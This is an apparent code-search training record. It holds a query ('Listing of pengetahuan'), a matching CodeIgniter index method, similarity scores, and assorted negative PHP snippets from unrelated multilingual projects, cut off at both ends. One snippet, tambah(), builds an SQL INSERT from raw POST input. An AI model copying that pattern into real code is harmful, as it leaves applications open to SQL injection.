getAll($filtro=\"\");\n\t\t\n\t\tenmarcar($this, 'autor/crear', $datos);\n\t}", "public function givecoordonerplsunom()\r\n {\r\n $request = $this->_bdd->query(\"SELECT gps.`id`, gps.id_bateau, gps.latitude, gps.longitude, bateau.nom FROM gps, bateau WHERE gps.id_bateau = bateau.id ORDER BY `gps`.`id` DESC\");\r\n while ($data = $request->fetch()) {\r\n $modf = \"modifcordoner.php?modfBateau=\" . $data[\"id_bateau\"];\r\n $supr = \"admin.php?suprBateau=\" . $data[\"id\"];\r\n?>\r\n <tr>\r\n <td><?=$data['id']?></td>\r\n <td><?= $data['id_bateau']?></td>\r\n <td>\r\n <a href=\"#\"><?= $data['nom']?></a>\r\n </td>\r\n \r\n <td><?= $data['latitude'] ?></td>\r\n <td><?=$data['longitude']?></td>\r\n <td>\r\n <a href=\"<?=$modf?>\" class=\"settings\" title=\"modifier\" data-toggle=\"tooltip\"><i class=\"material-icons\">&#xE8B8;</i></a>\r\n <a href=\"<?=$supr?>\" class=\"delete\" title=\"supprimer\" data-toggle=\"tooltip\"><i class=\"material-icons\">&#xE5C9;</i></a>\r\n </td>\r\n </tr>\r\n<?php\r\n }\r\n }", "function Comprobar_direccioncentro()\n{\n\t$correcto = true;\n\n\t//si se cumple la condicion\n\tif (strlen($this->DIRECCIONCENTRO)<3)\n\t{\n\t\t$error = array();\n\t\t\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"DIRECCIONCENTRO\");\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"00003\");\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"Valor de atributo no numérico demasiado corto\");\n\n\t\t//guarda un mensaje de error\n\t\tarray_push($this->erroresdatos, $error);\n\t\t$correcto = false;\n\t}\n\t//si se cumple la condicion\n\tif (strlen($this->DIRECCIONCENTRO)>150)\n\t{\n\t\t$error = array();\n\t\t\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"DIRECCIONCENTRO\");\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"00002\");\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"Valor de atributo demasiado largo\");\n\n\t\t//guarda un mensaje de error\n\t\tarray_push($this->erroresdatos, $error);\n\t\t$correcto = false;\n\t}\n\t//si se cumple la condicion\n\tif (!preg_match(\"/^[A-Za-zñáéíóúÑÁÉÍÓÚüÜ\\-0-9 ºª\\/]+$/\",$this->DIRECCIONCENTRO)){\n\t\t$error = array();\n\t\t\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"DIRECCIONCENTRO\");\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"00050\");\n\t\t//guarda un mensaje de error\n\t\tarray_push($error, \"Solo están permitidas alfabéticos y espacios, números y los símbolos “- / º ª”\");\n\n\t\t//guarda un mensaje de error\n\t\tarray_push($this->erroresdatos, $error);\n\t\t$correcto = false;\n\t}\n\n\n\t\n\treturn $correcto; //devuelve el resultado\n}", "function rodapeRelatorio($oPdf, $oFiltros, $oTurma) {\n\n $oPdf->SetFont('arial', '', 7);\n $oPdf->SetXY(10, 190);\n\n $sMunicipioData = \"{$oTurma->getEscola()->getMunicipio()}, \".date(\"d\", db_getsession(\"DB_datausu\")).\" de \";\n $sMunicipioData .= ucfirst(db_mes(date(\"m\", db_getsession(\"DB_datausu\")))).\" de \".date(\"Y\", db_getsession(\"DB_datausu\")).\".\";\n $oPdf->Cell($oFiltros->iLarguraMaxima, $oFiltros->iAlturaLinhaPadrao, $sMunicipioData, 0, 1, \"C\");\n\n /**\n * Buscamos as informacoes referentes ao diretor e percorremos os dados\n */\n $sDiretor = '';\n if (!empty($oFiltros->iDiretor)) {\n\n $aDiretor = $oTurma->getEscola()->getDiretor($oFiltros->iDiretor);\n foreach ($aDiretor as $oDiretor) {\n\n $sDiretor = ucwords(strtolower($oDiretor->sNome));\n $sFuncaoAto = \"Diretor\";\n\n if (!empty($oDiretor->sAtoLegal) && !empty($oDiretor->iNumero)) {\n $sFuncaoAto .= \" - \".ucwords(strtolower($oDiretor->sAtoLegal)).\" - Nº: {$oDiretor->iNumero}\";\n }\n }\n $oPdf->Ln(4);\n $oPdf->Cell($oFiltros->iLarguraMaxima, 3, $sDiretor, 0, 1, \"C\");\n $oPdf->Cell($oFiltros->iLarguraMaxima, 3, $sFuncaoAto, 0, 1, \"C\");\n }\n}", "function generateFullPath() {\n include_once('../common/common_functions.php');\n $jsonRouteFilePath = \"cricketTraveledPath.json\";\n $error_msg = \"\";\n $result = true;\n $travelObj = new Travel();\n $tdh_db = \"CLEARDB_URL_TDH_SCRIPTS\";\n \n //Get the points from the database sorted by tripname, then date\n try{\n if($db = connect_db($tdh_db)){\n $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n $db->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);\n \n $query_sel = $db->query(\"SELECT * from gps_readings order by `tripname`, `time` ASC\");\n $previousLatLong = [];\n $previousTripName = \"\";\n $tripLeg_id = 0;\n if($query_sel->rowCount() > 0){\n foreach ($query_sel as $row){\n $currentLatLong = [ $row['lat'], $row['long'] ];\n $time = $row['time'];\n if(!empty($previousLatLong)){\n //get the mapquest info\n// echo \"getting directions with \"\n// .implode(\",\",$currentLatLong)\n// .\" and \"\n// .implode(\",\",$previousLatLong)\n// .\" <br />\";\n $mqString = getMQroute($previousLatLong, $currentLatLong);\n if($mqString){\n //echo \"Got mq result <br />\";\n $mqResult = json_decode($mqString);\n if( $row['tripname'] !== $previousTripName){\n $newTrip = new Trip();\n $newTrip->name = ($row['tripname']);\n $travelObj->add_trip($newTrip);\n $previousTripName = $row['tripname'];\n }\n //Get the latest trip object from the travelObj\n $currentTrip = end($travelObj->trips);\n\n //If the points not the same make a new leg\n $distance = $mqResult->{\"route\"}->{\"distance\"};\n if($distance > 0){\n $tripLeg_id += 10;\n $newLeg = new TripLeg();\n $newLeg->id = $tripLeg_id;\n $newLeg->distance = $distance;\n $newLeg->startLatLong = $previousLatLong;\n $newLeg->endLatLong = $currentLatLong;\n $newLeg->startTime = $time;\n $newLeg->MQencodedPath = $mqResult->{\"route\"}->{\"shape\"}->{\"shapePoints\"};\n\n //add the leg to the current trip\n $currentTrip->add_leg($newLeg);\n }\n }else{ \n //Map Quest result not returned\n $error_msg = \"Map Quest result not returned\";\n $result = false;\n }\n }\n $previousLatLong = $currentLatLong;\n }\n //If none of the leg creations failed,\n //Turn the object into a json string and update the file.\n if($result){\n if($newTripsRoute = fopen($jsonRouteFilePath,\"w\")){\n fwrite($newTripsRoute, json_encode($travelObj));\n fclose($newTripsRoute);\n $result = true;\n }else{\n //error using fopen.\n $error_msg = \"Could not open file.\";\n $result = false;\n }\n }else{\n $error_msg.=\"Failed to create all legs of trip from MQ api. <br />\";\n }\n }\n }else{ //handle error\n $error_msg = \"Could not connect to database\";\n $result = false;\n }\n }catch(PDOException $ex) {\n $error_msg = \"CODE 120: Could not connect to mySQL DB<br />\"; //user friendly message\n $error_msg .= $ex->getMessage();\n $result = false; \n }\n echo $result ? \"Success! New file created.\" : $error_msg;\n return $result;\n}", "public function tambah()\n {\n $data = array(\n 'id_agen' => $this->input->post('id_agen'),\n 'nama_agen' => $this->input->post('nama_agen'),\n 'alamat_agen' => $this->input->post('alamat_agen')\n );\n $lokasi = \"GeomFromText('POINT(\".$this->input->post('lat').\" \".$this->input->post('long').\")',0)\";\n $sql = \"insert into \".$this->table.\" (nama_agen,alamat_agen,lokasi) \n VALUES ('\".$data['nama_agen'].\"','\".$data['alamat_agen'].\"',$lokasi)\";\n \n // $this->db->set(array('lokasi' => \"GeomFromText('POINT(\".$this->input->post('lat').\" \".$this->input->post('long').\"')'\"),false);\n\n // $this->db->insert($this->table, $data);\n\n $this->db->query($sql);\n if($this->db->affected_rows() > 0)\n {\n return TRUE;\n }\n else\n {\n return FALSE;\n }\n }", "function regiomino_geolocation_refill_db() {\r\n/* \t$query = new EntityFieldQuery;\r\n\t$tmp = $query\r\n\t\t->entityCondition('entity_type', 'field_collection_item')\r\n\t\t->entityCondition('bundle', 'field_delivery_options')\r\n\t\t->execute();\r\n\t\r\n\t$field_collections = entity_load('field_collection_item', array_keys($tmp['field_collection_item'])); */\r\n\t\r\n\t\r\n\t$query = new EntityFieldQuery;\r\n\t$tmp = $query\r\n\t\t->entityCondition('entity_type', 'field_collection_item')\r\n\t\t->entityCondition('bundle', 'field_delivery_options')\r\n\t\t->execute();\r\n\t$shipperprofileid = array();\r\n\tforeach($tmp['field_collection_item'] as $fckey => $fcinfo) {\r\n\t\t$query = new EntityFieldQuery;\r\n\t\t$tmp2 = $query\r\n\t\t\t->entityCondition('entity_type', 'node')\r\n\t\t\t->entityCondition('bundle', 'shipper_profile')\r\n\t\t\t->propertyCondition('status', 1)\r\n\t\t\t->fieldCondition('field_delivery_options', 'value', $fckey)\r\n\t\t\t->execute();\r\n\t\tforeach($tmp2['node'] as $nkey=>$nval) {\r\n\t\t\t$shipperprofileid[$fckey] = $nkey;\r\n\t\t}\r\n\t}\r\n\t\r\n\t$field_collections = entity_load('field_collection_item', array_keys($shipperprofileid));\r\n\r\n\t$deliveryzips = array();\r\n\tforeach($field_collections as $keys=>$values) {\r\n\t\tforeach($values->field_delivery_areas[LANGUAGE_NONE] as $key=>$value) {\r\n\t\t\tif(!empty($value['value'])) {\r\n\t\t\t\tif(strlen($value['value']) == 5) {\r\n\t\t\t\t\t$deliveryzips[$value['value']] = array();\r\n\t\t\t\t}\r\n\t\t\t\telseif(strlen($value['value']) == 4) {\r\n\t\t\t\t\tfor($i = 0; $i<=9; $i++) {\r\n\t\t\t\t\t\t$deliveryzips[$value['value'] . $i] = array();\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\telseif(strlen($value['value']) == 3) {\r\n\t\t\t\t\tfor($i = 0; $i<=9; $i++) {\r\n\t\t\t\t\t\tfor($j = 0; $j<=9; $j++) {\r\n\t\t\t\t\t\t\t$deliveryzips[$value['value'] . $i . $j] = array();\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\telseif(strlen($value['value']) == 2) {\r\n\t\t\t\t\tfor($i = 0; $i<=9; $i++) {\r\n\t\t\t\t\t\tfor($j = 0; $j<=9; $j++) {\r\n\t\t\t\t\t\t\tfor($k = 0; $k<=9; $k++) {\r\n\t\t\t\t\t\t\t\t$deliveryzips[$value['value'] . $i . $j . $k] = array();\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\telseif(strlen($value['value']) == 1) {\r\n\t\t\t\t\tfor($i = 0; $i<=9; $i++) {\r\n\t\t\t\t\t\tfor($j = 0; $j<=9; $j++) {\r\n\t\t\t\t\t\t\tfor($k = 0; $k<=9; $k++) {\r\n\t\t\t\t\t\t\t\tfor($l = 0; $l<=9; $l++) {\r\n\t\t\t\t\t\t\t\t\t$deliveryzips[$value['value'] . $i . $j . $k . $l] = array();\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\r\n\tforeach($deliveryzips as $zipcode=>$other) {\r\n\t\t$locinfo = regiomino_geolocation_queryinfobyzip($zipcode);\r\n\t\t\r\n\t\tif(empty($locinfo)) {\r\n\t\t\tunset($deliveryzips[$zipcode]);\r\n\t\t}\r\n\t\telse {\r\n\t\t\t$mainissub = FALSE;\r\n\t\t\tif(isset($locinfo['sub_regions']) && !empty($locinfo['sub_regions'])) {\r\n\t\t\t\tforeach($locinfo['sub_regions'] as $keyno=>$infotype) {\r\n\t\t\t\t\t$subregionname = explode(',',$infotype['name']);\r\n\t\t\t\t\t$mainregionname = explode(',',$locinfo['main_region']['name']);\r\n\t\t\t\t\tif($infotype['name'] != $locinfo['main_region']['name'] && $subregionname[0] != $mainregionname[0]) {\r\n\t\t\t\t\t\t$infotype['name'] = $mainregionname[0] . ' (' . $subregionname[0] . ')';\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$deliveryzips[$zipcode][] = $infotype;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\t$deliveryzips[$zipcode][] = $locinfo['main_region'];\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tksort($deliveryzips);\r\n\tforeach($deliveryzips as $zipcode=>$value) {\r\n\t\tusort($deliveryzips[$zipcode], \"regiomino_geolocation_sortdeliveryzips\");\r\n\t}\r\n\r\n\r\n\tvariable_set('regiomino_geodb_avlbregions', $deliveryzips);\r\n\tdrupal_set_message(t('Variable with available zipcodes has been updated: @variable', array('@variable' => 'regiomino_geodb_avlbregions')), 'status');\r\n\t\r\n\t///Retrieve current list of storage profiles\r\n\t$query = new EntityFieldQuery;\r\n\t$tmp = $query\r\n\t\t->entityCondition('entity_type', 'field_collection_item')\r\n\t\t->entityCondition('bundle', 'field_storage_data')\r\n\t\t->execute();\r\n\t$shipperprofileid = array();\r\n\tforeach($tmp['field_collection_item'] as $fckey => $fcinfo) {\r\n\t\t$query = new EntityFieldQuery;\r\n\t\t$tmp2 = $query\r\n\t\t\t->entityCondition('entity_type', 'node')\r\n\t\t\t->entityCondition('bundle', 'storage_profile')\r\n\t\t\t->propertyCondition('status', 1)\r\n\t\t\t->fieldCondition('field_storage_data', 'value', $fckey)\r\n\t\t\t->execute();\r\n\t\tforeach($tmp2['node'] as $nkey=>$nval) {\r\n\t\t\t$shipperprofileid[$fckey] = $nkey;\r\n\t\t}\r\n\t}\r\n\r\n\t//$shipperprofileid now contains all shippers that have matching regions and offer a possibly valid time\r\n\t//now retrieve that time and offer it to the customer as a selection\r\n\t\r\n\t$field_collections = entity_load('field_collection_item', array_keys($shipperprofileid));\r\n\t\r\n\t$pickuppoints = array();\r\n\tforeach($field_collections as $fci=>$fcinfo) {\r\n\t\t$set = FALSE;\r\n\t\t$timetoday = strtotime(date('Y-m-d'));\r\n\t\tforeach($fcinfo->field_delivery_dates[LANGUAGE_NONE] as $dlvdatekey => $dlvdate) {\r\n\t\t\tif(strtotime(date('Y-m-d', strtotime($dlvdate['value']))) > $timetoday) $set = TRUE;\r\n\t\t}\r\n\t\tif($set) $pickuppoints[$fci] = $fcinfo->field_address[LANGUAGE_NONE][0]['postal_code'] . ' ' . $fcinfo->field_address[LANGUAGE_NONE][0]['locality'] . ' ' . $fcinfo->field_address[LANGUAGE_NONE][0]['name_line'];\r\n\t}\r\n\tvariable_set('regiomino_geodb_avlbpoints', $pickuppoints);\r\n\tdrupal_set_message(t('Variable with available Regiomino points has been updated: @variable', array('@variable' => 'regiomino_geodb_avlbpoints')), 'status');\r\n\r\n\t/* $counter = 1;\r\n\tforeach($deliveryzips as $zipcode=>$value) {\r\n\t\tforeach($value as $index=>$values) {\r\n\t\t\techo $counter . ': ' . $zipcode . ' ' . $values['name'] . ' --> ' . $values['lat'] . ',' . $values['lon'] . '<br />';\r\n\t\t\t$counter++;\r\n\t\t}\r\n\t}\r\n\t\r\n\tdie(); */\r\n\t\r\n\t/*\r\n\t//Retrieve and unzip file to private file path\r\n\t$geodb = url('http://download.geonames.org/export/zip/DE.zip');\r\n\t$contents = drupal_http_request($geodb);\r\n\t$filename = 'geodb_tmp.zip';\r\n\t$filepath = \"private://\" . $filename;\r\n\tfile_put_contents($filepath, $contents->data);\r\n\t$drpl_geodb_path = variable_get('file_private_path');\r\n\t$drpl_geodb_path_unzip = $drpl_geodb_path . '/GEODB.txt';\r\n\t$command = 'unzip -p ' . $drpl_geodb_path . '/' . $filename . ' DE.txt > ' . $drpl_geodb_path_unzip;\r\n\tsystem($command);\r\n\t\r\n\t//Retrieve csv data\r\n\tif (($handle = fopen($drpl_geodb_path_unzip, \"r\")) !== FALSE) {\r\n while (($data = fgetcsv($handle, 0, \"\\t\")) !== FALSE) {\r\n\t\t\t$finalarray[] = $data;\r\n }\r\n\t}\r\n\tdrupal_set_message(t('File retrieved, unzipped and csv-parsed from @geodb', array('@geodb' => $geodb)), 'status');\r\n\t\r\n\t$result = db_truncate('regiomino_geodb')->execute();\r\n\tdrupal_set_message(t('Database table regiomino_geodb truncated'), 'status');\r\n\t$avlbregions = array();\r\n \tforeach($finalarray as $key=>$value) {\r\n\t\tdb_query(\"INSERT INTO {regiomino_geodb} (country_code, postal_code, place_name, admin_name1, admin_code1, admin_name2, admin_code2, admin_name3, admin_code3, latitude, longitude, accuracy) VALUES (:country_code, :postal_code, :place_name, :admin_name1, :admin_code1, :admin_name2, :admin_code2, :admin_name3, :admin_code3, :latitude, :longitude, :accuracy)\", array(':country_code' => $value[0], ':postal_code' => $value[1], ':place_name' => $value[2], ':admin_name1' => $value[3], ':admin_code1' => $value[4], ':admin_name2' => $value[5], ':admin_code2' => $value[6], ':admin_name3' => $value[7], ':admin_code3' => $value[8], ':latitude' => $value[9], ':longitude' => $value[10], ':accuracy' => $value[11]));\r\n\t\tif(array_key_exists($value[1], $deliveryzips)) {\r\n\t\t\t$avlbregions[] = $value;\r\n\t\t}\r\n\t}\r\n\tdrupal_set_message(t('Data written to database table regiomino_geodb'), 'status');\r\n\t\r\n\tvariable_set('regiomino_geodb_avlbregions', $avlbregions);\r\n\tdrupal_set_message(t('Variable with available zipcodes has been updated: @variable', array('@variable' => 'regiomino_geodb_avlbregions')), 'status');\r\n\t*/\r\n\t\r\n}", "function genereer($item=NULL){\r\n\t\t$set = array();\r\n\t\tswitch(strtolower($item)){\r\n\t\t\tcase \"gemeente\": case \"bijzondere-gemeente\": case \"provincie\": case \"ministerie\": case \"staten-generaal\": case \"vertegenwoordiging\": case \"bestuursorgaan\": case \"overheid\": \r\n\t\t\t\tif(file_exists( $this->_get_location($item) )){ $set = json_decode(file_get_contents($this->_get_location($item)), TRUE); if(!is_array($set)){ $set = array(); } }\r\n\t\t\t\t$set = array_merge($set, $this->extract_topologie(strtolower($item)) );\t\t\t\r\n\t\t\t\tbreak;\r\n\t\t\tcase \"waterschap\":\r\n\t\t\t\tif(file_exists( $this->_get_location($item) )){ $set = json_decode(file_get_contents($this->_get_location($item)), TRUE); if(!is_array($set)){ $set = array(); } }\r\n\t\t\t\t$set = array_merge($set, $this->extract_topologie('waterschap'), $this->extract_topologie('hoogheemraadschap'), $this->extract_topologie('wetterskip') );\r\n\t\t\t\tbreak;\r\n\t\t\tcase \"partij\": \r\n\t\t\t\tif(file_exists( $this->_get_location($item) )){ $set = json_decode(file_get_contents($this->_get_location($item)), TRUE); if(!is_array($set)){ $set = array(); } }\r\n\t\t\t\t$set = array_merge($set, $this->extract_kiesraad_register() );\r\n\t\t\t\tbreak;\r\n\t\t\tcase \"plaatsnaam\":\r\n\t\t\t\tif(file_exists( $this->_get_location($item) )){\r\n\t\t\t\t\t$raw = file_get_contents($this->_get_location($item));\r\n\t\t\t\t\t$set = json_decode($raw, TRUE);\r\n\t\t\t\t\t//$this->json_errors($raw);\r\n\t\t\t\t\t//print 'RAW: '; print_r($raw);\r\n\t\t\t\t\t//if(!is_array($set)){ $set = array(); }\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\tdefault:\r\n\t\t}\r\n\t\t//print_r($set);\r\n\t\t$set = array_unique($set);\r\n\t\tasort($set);\r\n\t\t$set = array_values($set);\r\n\t\t//print_r($set);\r\n\t\t\r\n\t\t$out = $this->opslaan($item, $set);\r\n\t\t//print_r($out);\r\n\t\treturn $set;\r\n\t}" ]
[ "0.69697857", "0.608409", "0.5770648", "0.577007", "0.5770051", "0.5752846", "0.57469964", "0.57453495", "0.57452357", "0.57427156", "0.57052577", "0.567961", "0.5678114", "0.56316525", "0.5576929", "0.55389285", "0.55005914", "0.5491328", "0.5479521", "0.54631186", "0.5437807", "0.54326624", "0.54169005", "0.5409689", "0.53897876", "0.5372987", "0.5369603", "0.5322801", "0.5319755", "0.5316338", "0.53137803", "0.5279132", "0.5252036", "0.5241419", "0.5230478", "0.5217667", "0.519842", "0.5193812", "0.5192588", "0.51923573", "0.5186767", "0.51866686", "0.5183136", "0.5183136", "0.51789194", "0.51733226", "0.5169329", "0.5160119", "0.51525074", "0.5146068", "0.51424104", "0.5131247", "0.5129239", "0.51281136", "0.51121044", "0.5111106", "0.51106936", "0.51084226", "0.5104547", "0.50951046", "0.5087438", "0.5086222", "0.50840867", "0.5081209", "0.50710255", "0.50684", "0.5057085", "0.5047673", "0.5038253", "0.50345236", "0.50296193", "0.5028025", "0.50201815", "0.50201815", "0.50050884", "0.49957702", "0.49926248", "0.4989768", "0.4982666", "0.49818644", "0.49782637", "0.49763903", "0.49675503", "0.4967227", "0.49648553", "0.49644113", "0.4962796", "0.49589133", "0.49585646", "0.4950641", "0.49471477", "0.49456772", "0.49417877", "0.49410674", "0.4939658", "0.4938808", "0.49354517", "0.4932589", "0.49238122", "0.49186543", "0.49185917" ]
0.0
-1
/ Listing of pengetahuan
function index() { $data['pengetahuan'] = $this->Pengetahuan_model->get_all_pengetahuan(); $data['_view'] = 'pengetahuan/index'; $this->load->view('layouts/main',$data); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getPengajuan() {\n $dataPengajuan = Pengajuan::model()->findAll('NIM=:NIM', array(':NIM' => Yii::app()->user->getUsername()));\n return CHtml::listData($dataPengajuan, 'IDPengajuan', 'Judul');\n }", "function listQueryKPB() {\n\t\t\t$sql = \"select p.nik,\".static::schema.\".f_namalengkap(p.gelardepan,p.namadepan,p.namatengah,p.namabelakang,p.gelarbelakang) as namalengkap,\n\t\t\t\t\tr.*,substring(right(replicate('0', 4) + cast(r.mkglama as varchar), 4),1,2)+' tahun '+substring(right(replicate('0', 4) + cast(r.mkglama as varchar), 4),3,2)+' bulan' as mklama,\n\t\t\t\t\tsubstring(right(replicate('0', 4) + cast(r.mkg as varchar), 4),1,2)+' tahun '+substring(right(replicate('0', 4) + cast(r.mkg as varchar), 4),3,2)+' bulan' as mkbaru,\n\t\t\t\t\tpl.golongan as pangkatlama, pb.golongan as pangkatbaru\n\t\t\t\t\tfrom \".self::table('pe_kpb').\" r \n\t\t\t\t\tleft join \".self::table('ms_pegawai').\" p on p.idpegawai=r.idpegawai\n\t\t\t\t\tleft join \".self::table('ms_unit').\" u on u.idunit=p.idunit\n\t\t\t\t\tleft join \".self::table('ms_pangkat').\" pl on pl.idpangkat=r.idpangkatlama\n\t\t\t\t\tleft join \".self::table('ms_pangkat').\" pb on pb.idpangkat=r.idpangkat\";\n\t\t\t\n\t\t\tif(Modul::getRole() == 'Jab'){ //bila atasan\n\t\t\t\t$sql .= \" where p.emailatasan = '\".Modul::getUserEmail().\"'\";\n\t\t\t}\n\t\t\t\n\t\t\treturn $sql;\n\t\t}", "public function getPraktikum()\n\t{\n\t\t$sql = \"SELECT * FROM praktikum WHERE\nstatus = 1\";\n\t $query = koneksi()->query($sql);\n\t $hasil = [];\n\t while ($data = $query->fecth_assoc())\n\t\t$hasil[] = $data;\n\t }", "public function lihat_penyewa()\r\n\t{\r\n\t\treturn $this->db->order_by('ID_PENYEWA', 'ASC')->get('tb_penyewa')->result();\r\n\t}", "public function getAllDataPengetahuan()\n {\n $query = $this->db->query('SELECT * FROM tb_pengetahuan');\n return $query->result();\n }", "function getAllFromProizvod(){\n\t\treturn $this->ime . \"&nbsp\" . $this->imeProizvođača . \"&nbsp\" \n\t\t. $this->prezimeProizvođača . \"&nbsp\" . $this->cijena;\n\t}", "public function totalPenggunaanPengetahuan()\n {\n return $this->db->table('kuesioner')->select('jawaban6')->where('jawaban1', 'sudah')->countAllResults();\n }", "public function listarParaUnirP() {\n\t\t//de sesion, falta cambiar\n\t\t$juradoL = $this -> JuradoMapper -> findAllPro();\n\n\t\t$this -> view -> setVariable(\"jurado\", $juradoL);\n\t\t//falta agregar la vista, no se continuar\n\t\t$this -> view -> render(\"jurado\", \"listarParaPincho\");\n\t\t//falta cambiar\n\t}", "public function showListPerizinan()\n\t{\n\n\t\treturn view('listperizinan');\n\t}", "public function list_pais()\n {\n $listpais = DB::table('par_pais')->select('id','pai_nombre')->orderBy('pai_nombre')->get();\n\t\treturn $listpais;\n }", "function list_jenis_kelamin() {\n $list = ['laki - laki', 'perempuan'];\n \n return $list;\n}", "public function ddl_perpen($pen)\r\n\t {\r\n\t $link = $this->connect();\r\n\t $query = \"SELECT \r\n\t p.pig_id \r\n\t FROM pig p\r\n\t WHERE p.pen_id = '\" . $pen . \"' \";\r\n\t $result = mysqli_query($link, $query);\r\n\t $arr_ppen = array();\r\n\t while ($row = mysqli_fetch_row($result)) {\r\n\t $arr_ppen[] = $row[0];\r\n\r\n\t }\r\n\t return $arr_ppen;\r\n\t }", "public function possederListerTous()\n\t{\n\t\t// votre code ici\n\t\treturn Gestion::lister(\"Posseder\");//type array\n\t}", "function listaPinchos(){\n\t\t$pincho = new Pincho();\n\t\treturn $pincho->listar();\n\t}", "public function jml_permohonan_prosesKasubag()\n {\n $this->db->select('id_permohonan_ptsp, COUNT(id_permohonan_ptsp) as permohonan_prosesKasubag');\n $this->db->from('permohonan_ptsp');\n $this->db->where(\n 'status',\n 'Proses Kasubag'\n );\n $this->db->where('status_delete', 0);\n\n $hasil = $this->db->get();\n return $hasil;\n }", "public function getListePraticiens(){\n\t\t$req = \"select * from praticien order by PRA_NOM\";\n\t\t$rs = PdoGsb::$monPdo->query($req);\n\t\t$ligne = $rs->fetchAll();\n\t\treturn $ligne;\n\t}", "public function listdataPrncAction() {\n $this->view->dataList = $this->adm_listdata_serv->getDataList('PERENCANAAN');\n }", "function displayAvailableLabels() {\n $db = dbConnect();\n $travelLabels = dbGetTravelsTitle($db); // Récupération des titres de voyages\n\n // Création d'une ligne par titre avec comme value le code ISO et comme texte le nom du pays\n foreach($travelLabels as $travel) {\n echo \"<option value='\" . $travel->getTitle() . \"'>\" . $travel->getTitle() . \"</option>\";\n }\n }", "public function ddl_pen()\r\n\t\t{ \r\n\t\t\t\t$link = $this->connect();\r\n\t\t\t\t$pquery = \"SELECT pen_id, \r\n\t\t\t\t\t\t\tpen_no,\r\n\t\t\t\t\t\t\tfunction,\r\n\t\t\t\t\t\t\thouse_id \r\n\t\t\t\t\t\tFROM pen\";\r\n\t\t\t\t$presult = mysqli_query($link, $pquery);\r\n\t\t\t\t$pen = array();\r\n\t\t\t\t$arr_pen = array();\r\n\t\t\t\twhile ($row = mysqli_fetch_row($presult)) {\r\n\t\t\t\t\t\t$pen['pen_no'] = $row[1];\r\n\t\t\t\t\t\t$pen['pen_id'] = $row[0];\r\n\t\t\t\t\t\t$pen['fxn'] = $row[2];\r\n\t\t\t\t\t\t$pen['h_id'] = $row[3];\r\n\t\t\t\t\t\t$arr_pen[] = $pen;\r\n\t\t\t\t}\r\n\r\n\t\t\t\treturn $arr_pen;\r\n\t\t}", "public function index() \n {\n\t\t$this->papar->senaraiPegawai['biodata'] = $this->tanya->cariMedan('nama_pegawai', \n\t\t\t'namaPegawai,Nama_Penuh,email,nohp,unit', \n\t\t\tarray('medan'=>'unit', 'id'=>'ekonomi'));\n\t\n\t\t//\n\t\t$this->papar->ralat = null;\n\t\t\n\t\t$this->papar->pegawai = senarai_kakitangan();\n $this->papar->baca($this->_folder . '/index', 0);\n }", "public function actionIndex()\n {\n // $searchModel = new PenilaianSearch();\n // $dataProvider = $searchModel->search(Yii::$app->request->queryParams);\\\n $penilaian = Penilaian::find()->joinWith(['pegawai'])->all();\n $kriteria = Kriteria::find()->all();\n\n $nilai = [];\n\n foreach ($penilaian as $key => $pen) {\n $nilai[$pen->id_penilaian] = json_decode($pen->penilaian, true);\n }\n \n return $this->render('index', [\n // 'searchModel' => $searchModel,\n // 'dataProvider' => $dataProvider,\n 'penilaian' => $penilaian,\n 'kriteria' => $kriteria,\n 'nilai' => $nilai,\n ]);\n }", "public function show(Pengalaman $pengalaman)\n {\n //\n }", "public function produits()\n {\n $data[\"list\"]= $this->produit->list();\n $this->template_admin->displayad('liste_Produits');\n }", "public function index()\n {\n $data = Mahasiswa::mhskp();\n // dd($data);\n return view('admin.kp.pembimbing.list_pembimbing',compact('data'));\n }", "public function listing();", "public function schreibe_kopf_auslistung(){\n\t\t\techo '<div class=\"auflistung_produkte\" >';\n\t\t}", "function ambil_proyek_dpp()\n\t{\n\t\t$sql=\"SELECT * FROM irena_view_sbsn_proyek_dpp\";\n\t\treturn $this->db->query($sql);\n\t}", "public function kp()\n\t{\n\t\t$data['judul'] = 'Daftar Kenaikan Pangkat';\n\t\t$data['login'] = $this->session->userdata('login');\n\t\t$data['pegawai'] = $this->Pegawai_model->getAllpegawai();\n\t\t$this->load->view('templates/header', $data);\n\t\t$this->load->view('templates/nav', $data);\n\t\t$this->load->view('admin/kp/index', $data);\n\t\t$this->load->view('templates/footer');\n\t}", "public function show_paket()\n\t\t{\n\t\t\t$show = $this->db->query(\"SELECT * FROM paket\");\n\t\t\treturn $show;\n\t\t}", "public function petugas()\n {\n $respon = $this->curl->simple_get($this->API . '/petugas');\n $petugas = json_decode($respon, true);\n $data['petugas'] = $petugas['values'];\n $data['title'] = 'Admin Perpustakaan | Halaman Petugas';\n\n $this->load->view('admin/include/head', $data);\n $this->load->view('admin/include/header');\n $this->load->view('admin/include/sidebar');\n $this->load->view('admin/petugas', $data);\n $this->load->view('admin/include/script');\n $this->load->view('admin/include/footer');\n }", "public function getInfoLengkap(){\n $str = \"{$this->tipe} : {$this->judul} | {$this->getLable()} (Rp. {$this->harga}\";\n if($this->tipe == \"Komik\"){\n $str .= \" - ($this->jmlHalaman) Halaman.\";\n }elseif ($this->tipe == \"Game\"){\n $str .= \" ~ 